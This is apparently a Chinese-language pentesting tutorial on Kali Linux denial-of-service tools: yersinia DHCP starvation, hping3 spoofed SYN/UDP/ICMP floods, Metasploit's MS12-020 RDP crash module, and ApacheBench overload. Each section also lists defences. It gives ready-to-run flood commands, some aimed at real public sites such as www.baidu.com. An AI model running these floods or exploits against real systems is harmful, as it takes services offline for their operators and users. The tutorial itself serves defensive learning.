作为渗透测试人员,有时候需要对客户的系统进行DDOS攻击测试,那么这个时候就需要我们有一款合格的测试工具。而在Kali Linux上就集成了一些DDOS测试工具供测试者使用,下面就简单介绍一些测试工具。
kali下的拒绝服务攻击:
D(D)OS…1
yersinia…2
hping3…3
使用metasploit进行SynFlood攻击…4
WEB DOS(压力测试)…5
1.DOS(DDOS)
拒绝服务攻击即攻击者想办法让目标机器停止提供服务
常见为消耗宽带、CPU、内存资源(各种洪水攻击)
导致延长服务器响应时间
利用服务漏洞,攻陷服务
IP欺骗等
2.YERSINIA
项目地址http://www.yersinia.net/
底层协议攻击入侵检测工具
针对多种协议的多种攻击
例如夺取生成树的根角色(生成树协议:Spanning Tree Protocol),生成虚拟CDP(Cisco发现协议:Cisco Discovery Protocol)邻居、在一个HSRP(热等待路由协议:Hot Standby Router Protocol)环境中虚拟成一个活动的路由器、制造假DHCP反馈,以及其它底层攻击。
一般使用图形化攻击界面
Usage: yersinia [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]
-V 版本信息
-h 获取帮助信息
-G 图形化工作界面
-I 交互模式.
-D 后台模式
-d 调试
-l logfile 选择日志文件
-c conffile 选择配置文件
protocol 可以攻击的协议: cdp, dhcp, dot1q, dot1x, dtp,
hsrp, isl, mpls, stp, vtp.
yersinia -G 启用图形化界面
技术分享
案例:攻击测试DHCP服务
DHCP服务器 /windows server 2003/IP:192.168.10.10
Kali Linux / IP:192.168.10.100
首先看一下DHCP获取IP地址的流程
技术分享
技术分享
第一步:启动DHCP服务器
在DHCP(windows server 2003)服务器上,允许的IP地址范围是192.168.10.100-200
其中kali已经租用了192.168.10.100
技术分享
第二步:启动yersinia攻击程序
在yersinia选择相应的网卡接口
技术分享
针对DHCP的攻击有四种方式:
sending RAW packet #发送原始数据包
sending DISCOVER packet #发送请求获取IP地址数据包,占用所有的IP,造成拒绝服务
creating DHCP rogue server #创建虚假DHCP服务器,让用户链接,真正的DHCP无法工作
sending RELEASE packet #发送释放IP请求到DHCP服务器,致使正在使用的IP全部失效
技术分享
进行 DHCP DISCOVER 测试攻击
技术分享
一旦DHCP服务器被DISCOVER攻击,地址池内所有的有效IP都没法使用,新的用户就无法获取IP地址
注:这里虽然所有的IP地址被占用,但是在DHCP的地址池内没有显示
第三步:验证攻击结果
用一台windows xp来获取IP地址,会发现获取ip命令执行无效
技术分享
如此我们的DHCP DISCOVER攻击就生效了!!!
防御方案:
在交换机上启用端口监听,设置信任端口和非信任端口,默认下交换机端口都是非信任端口。
非信任端口:连接终端设备的端口,该端口客户端只能发送DHCP请求报文,而丢弃来自该端口的其他所有DHCP报文(DHCP offer等)
信任端口:连接合法的DHCP服务器或者汇聚接口,能够转发和接收所有DHCP报文
开启交换机端口监听功能: Switch(config)#ipdhcp snooping
设置DHCP监听作用于那个VLAN: Switch(config)#ipdhcp snooping vlannumber
配置端口信任或非信任: Switch(config-if)#ipdhcp snooping trust
报文中插入选项82信息:Switch(config)# ip dhcp snoopling infornamation option
限制DHCP报文速率,jianhuan DHCP 耗尽攻击:Switch(config-if)# ip dhcp snoopling limit rate rate(速率)
这样就可以达到防御DHCP攻击的目的
3.Hping3
TCP/IP数据包组装/分析工具
支持多种协议(ICMP、TCP、UPD、RAW-IP等)
运行多种操作系统上(Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows)
可用于防火墙测试、端口扫描、操作系统探测、网络检查等
Usage:
-h --help 显示帮助信息
-v --version 显示Hping的版本信息
-c --count 指定数据包的次数
-i --interval 指定发包间隔为多少毫秒,如-i m10:表示发包间隔为10毫秒
–fast 与 -i m100等同,即每秒钟发送10个数据包
-n --numeric 指定以数字形式输出
-q --quiet 退出Hping
-I --interface 指定IP,如本机有两块网卡,可通过此参数指定发送数据包的IP地址。如果不指定则默认使用网关IP
-V --verbose 冗余模式
-D --debug 调试信息
-z --bind 将ctrl+z 绑定到ttl,默认使用DST端口
-Z --unbind 解除ctrl+z的绑定
指定所用的模式:
默认模式 TCP模式
-0 --rawip RAW IP 模式
-1 --icmp ICMP 模式
-2 --udp UDP 模式
-8 --scan 扫描模式.
例: hping --scan 1-30,70-90 -S www.target.host -9 --listen 监听模式
IP选项:
-a --spoof 伪造源地址欺骗
–rand-dest 随机目的地址模式
–rand-source 随机源目的地址模式
-t --ttl ttl值,默认为64
-N --id 指定id,默认是随机的
-W --winid 使用win*的id 字节顺序
-r --rel 相对的id区域
-f --frag 将数据包分片后传输(可以通过薄弱的acl(访问控制列表))
-x --morefrag 设置更多的分片标记
-y --dontfrag 设置不加分片标记
-g --fragoff 设置分片偏移
-m --mtu 设置虚拟MTU, 当数据包>MTU时要使用–frag 进行分片
-o --tos 指定服务类型,默认是0x00,,可以使用
–tos help查看帮助
-G --rroute 包含RECORD_ROUTE选项并且显示路由缓存
–lsrr 释放源路记录
–ssrr 严格的源路由记录
-H --ipproto 设置协议范围,仅在RAW IP模式下使用
ICMP选项
-C --icmptype 指定icmp类型(默认类型为回显请求)
-K --icmpcode 指定icmp编码(默认为0)
–force-icmp 发送所有ICMP数据包类型(默认只发送可以支持的类型)
–icmp-gw 针对ICMP数据包重定向设定网关地址(默认是0.0.0.0)
–icmp-ts 相当于–icmp --icmptype 13(ICMP时间戳)
–icmp-addr 相当于–icmp --icmptype 17(ICMP地址掩码)
–icmp-help 显示ICMP的其它帮助选项
UDP/TCP选项
-s --baseport 基本源端口(默认是随机的)
-p --destport 目的端口(默认为0),可同时指定多个端口
-k --keep 仍然保持源端口
-w --win 指定数据包大小,默认为64
-O --tcpoff 设置假的TCP数据偏移
-Q --seqnum 仅显示TCP序列号
-b --badcksum 尝试发送不正确IP校验和的数据包
许多系统在发送数据包时使用固定的IP校验和,因此你会得到不正确的UDP/TCP校验和.
-M --setseq 设置TCP序列号
-L --setack 使用TCP的ACK(访问控制列表)
-F --fin 使用FIN标记set FIN flag
-S --syn 使用SNY标记
-R --rst 使用RST标记
-P --push 使用PUSH标记
-A --ack 使用 ACK 标记
-U --urg 使用URG标记
-X --xmas 使用 X 未用标记 (0x40)
-Y --ymas 使用 Y 未用标记 (0x80)
–tcpexitcode 最后使用 tcp->th_flags 作为退出代码
–tcp-timestamp 启动TCP时间戳选项来猜测运行时间
常规选项
-d --data 数据大小,默认为0
-E --file 从指定文件中读取数据
-e --sign 增加签名
-j --dump 以十六进行形式转存数据包
-J --print 转存可输出的字符
-B --safe 启用安全协议
-u --end 当通过- -file指定的文件结束时停止并显示,防止文件再从头开始
-T --traceroute 路由跟踪模式
–tr-stop 在路由跟踪模式下当收到第一个非ICMP数据包时退出
–tr-keep-ttl 保持源TTL,对监测一个hop有用
–tr-no-rtt 使用路由跟踪模式时不计算或显示RTT信息
ARS 数据包描述(新增加的内容,暂时还不稳定)
–apd-send 发送用描述APD的数据包
使用方法:
hping3 -S -a 1.1.1.1 --flood -V www.xxx.com
hping3 -S -P -U --flood -V --rand-source www.xxx.com
hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood --rand-source www.xxx.cpm
hping3 -q -n -a 1.1.1.1 -S -s 53 --keep -p 22–flood www.xxx.com (SYN Flood)
hping3 -q -n -a 1.1.1.1 -SARFU -p 80 -i u10000 www.xxx.com (TCP Connect Flood)
hping3 -q- n -a 1.1.1.1 -SARFU -p 22 --flood www.xxx.com (TCP Connect Flood)
hping3 -q- n -a 1.1.1.1 --udp -s 53 --keep -p 68 --flood www.xxx.com (UDP Flood)
hping3 -q- n -a 1.1.1.1 --id 0 --icmp -d 56 --flood www.xxx.xom (ICMP Flood)
简单测试说明:
a).hping3 -S -a 1.1.1.1 -V www.baidu.com #发送SYN数据包,伪造ip来源为1.1.1.1
-a 伪造ip地址来源
-V 冗余模式
-S 发送SYN数据包
–flood 只发数据包,不考虑数据入站回显
启动wireshark抓包看看伪造的IP 1.1.1.1 是否生效
选择capture功能键,确定监听正确的网卡
技术分享
点击start按键抓包
技术分享
通过对数据分析可以看到成功的伪造了数据包的来源,并且在不断的向外发送数据包
b).hping3 -S -V --flood --rand-source -c 10000 -d 150 -w 64 -p 80 www.baidu.com
-c 10000 发送数据包数量
-d 150 发送的每个数据包的大小
-w 64 TCP窗口的大小
-p 80 攻击目的端口,可以随意设置
–ran-source 使用随记性源IP地址
技术分享
通过wireshark可以看到不到一分钟就发送了20w+数据包。
c).hping3 -SARFU -V --flood --rand-source -c 10000 -d 150 -w 64 -p 80 www.baidu.com
-SARFU 发送SYN,ARP,UDP等不同协议的数据包
技术分享
防御方案:
保证充足的宽带;
使用高性能的网络设备;
异常流畅清洗过滤;
分布式防御;
高防DDOS设备;
4.利用系统漏洞进行拒绝服务攻击
扫描445或者3389的机器
利用MS12-020漏洞
使用metasploit进行攻击
使用metasploit进行SynFlood攻击
use auxiliary/dos/tcp/synflood
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
…
测试案例:
kali linux 主机ip:192.168.10.3
windows server 2003 测试机器 ip:192.168.10.10
一个windows RDP SynFlood实验:
首先在kali上启动msfconsole
在msfconsole中使用search功能搜索集成好的DOS服务程序
技术分享.
测试一个windows RDP攻击
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
技术分享
设置好需要攻击的主机IP,运行攻击payload
技术分享
攻击成功会显示seems down(PC over)
再来看看攻击目标的屏幕已经蓝屏了
技术分享
OK!!!
防御方案:
及时更新系统补丁;
使用客户端防火墙;
5.WEB DOS(压力测试)
网站性能压力测试是性能调优过程中必不可少的一环。
只有让服务器处在高压情况下才能真正体现出各种设置所暴露的问题。
ab命令会创建很多的并发访问线程,模拟多个访问者同时对某一URL地址进行访问。
它的测试目标是基于URL的,因此,既可以用来测试Apache的负载压力,
也可以测试nginx、lighthttp、tomcat、IIS等其它Web服务器的压力。
ab命令对发出负载的计算机要求很低,既不会占用很高CPU,也不会占用很多内存,
但却会给目标服务器造成巨大的负载,其原理类似CC攻击。
但测试使用也须注意,否则一次上太多的负载,可能造成目标服务器因资源耗完,严重时甚至导致死机。
Usage:
-n requests Number of requests to perform
#在测试会话中所执行的请求个数(本次测试总共要访问页面的次数)。默认时,仅执行一个请求。
-c concurrency Number of multiple requests to make
#一次产生的请求个数(并发数)。默认是一次一个。
-t timelimit Seconds to max. wait for responses
#测试所进行的最大秒数。其内部隐含值是-n 50000。它可以使对服务器的测试限制在一个固定的总时间以内。默认时,没有时间限制。
-p postfile File containing data to POST
#包含了需要POST的数据的文件,文件格式如“p1=1&p2=2”.使用方法是 -p 111.txt 。 (配合-T)
-T content-type Content-type header for POSTing
#POST数据所使用的Content-type头信息,如 -T “application/x-www-form-urlencoded” 。 (配合-p)
-v verbosity How much troubleshooting info to print
#设置显示信息的详细程度 – 4或更大值会显示头信息, 3或更大值可以显示响应代码(404, 200等), 2或更大值可以显示警告和其他信息。 -V 显示版本号并退出。
-w Print out results in HTML tables
#以HTML表的格式输出结果。默认时,它是白色背景的两列宽度的一张表。
-i Use HEAD instead of GET
#执行HEAD请求,而不是GET。
-x attributes String to insert as table attributes
-y attributes String to insert as tr attributes
-z attributes String to insert as td or th attributes
-C attribute Add cookie, eg. -C “c1=1234,c2=2,c3=3″ (repeatable)
#-C cookie-name=value 对请求附加一个Cookie:行。 其典型形式是name=value的一个参数对。此参数可以重复,用逗号分割。
提示:可以借助session实现原理传递 JSESSIONID参数, 实现保持会话的功能,如
-C ” c1=1234,c2=2,c3=3, JSESSIONID=FF056CD16DA9D71CB131C1D56F0319F8″ 。
-H attribute Add Arbitrary header line, eg. ‘Accept-Encoding: gzip’ Inserted after all normal header lines. (repeatable)
-A attribute Add Basic WWW Authentication, the attributes
are a colon separated username and password.
-P attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
#-P proxy-auth-username:password 对一个中转代理提供BASIC认证信任。用户名和密码由一个:隔开,并以base64编码形式发送。无论服务器是否需要(即, 是否发送了401认证需求代码),此字符串都会被发送。
-X proxy:port Proxyserver and port number to use
-V Print version number and exit
-k Use HTTP KeepAlive feature
-d Do not show percentiles served table.
-S Do not show confidence estimators and warnings.
-g filename Output collected data to gnuplot format file.
-e filename Output CSV file with percentages served
-h Display usage information (this message)
#-attributes 设置属性的字符串. 缺陷程序中有各种静态声明的固定长度的缓冲区。另外,对命令行参数、服务器的响应头和其他外部输入的解析也很简单,这可能会有不良后果。它没有完整地实现 HTTP/1.x; 仅接受某些’预想’的响应格式。 strstr(3)的频繁使用可能会带来性能问题,即你可能是在测试ab而不是服务器的性能。
参数有很多,但是在一般的压力测试中只是用 -n 和 -c 参数就可以
测试案例:
ab -n 10000 -c 1000 http://192.168.10.4
root@kali:~# ab -n 1000 -c 100 http://192.168.10.4/wp-login.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking 192.168.10.4 (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
^C(请求了300次后web服务器就卡住,停止响应了,进行了终止操作)
Server Software: Apache
Server Hostname: 192.168.10.4
Server Port: 80
Document Path: /wp-login.php #测试页面
Document Length: 3192 bytes #页面大小
Concurrency Level: 100 #并发数量
Time taken for tests: 36.861 seconds #整个测试持续时间
Complete requests: 321 #完成的请求数量
Failed requests: 0 #失败的请求数量
Write errors: 0
Total transferred: 1137945 bytes
HTML transferred: 1024632 bytes
Requests per second: 8.71 [#/sec] (mean) #重要指标之一,相当于LR中每秒事务数
Time per request: 11483.128 [ms] (mean) #重要指标之一,相当于LR中平均事务响应时间
Time per request: 114.831 [ms] (mean, across all concurrent requests) #每个连接请求实际运行时间
Transfer rate: 30.15 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 6 8.7 2 37
Processing: 179 2934 2131.5 2559 24266
Waiting: 179 2921 2130.6 2548 24266
Total: 211 2940 2127.5 2560 24266
Percentage of the requests served within a certain time (ms)
50% 2560 (50%请求时间为2560毫秒)
66% 3124
75% 3553
80% 3892
90% 5169 (90%请求时间为5169毫秒)
95% 5898
98% 8080
99% 8535 (99%请求时间为8535毫秒)
100% 24266 (longest request)
在这里可以看到随着大量数据包的请求发送,链接响应时间值越来越多,拒绝服务效果开始产生
netstat -atupln | grep 80 | wc -l
技术分享
本来想统计一下80端口请求数据,但是还没刚开始就卡住了,证明测试生效
注:因为web设置的允许最大链接数量为200,所以卡住的比较快
防御方案:
应用代码做好性能优化:合理利用memchces;
网络架构做好优化:负载均衡分流;
对抗手段:限制每个IP请求频率,使用验证码,限制每个数据包的大小;
合理配置Web Server的 Timout、KeepAliveTimeout等;
使用WEB应用防火墙;
把网站做成静态页面;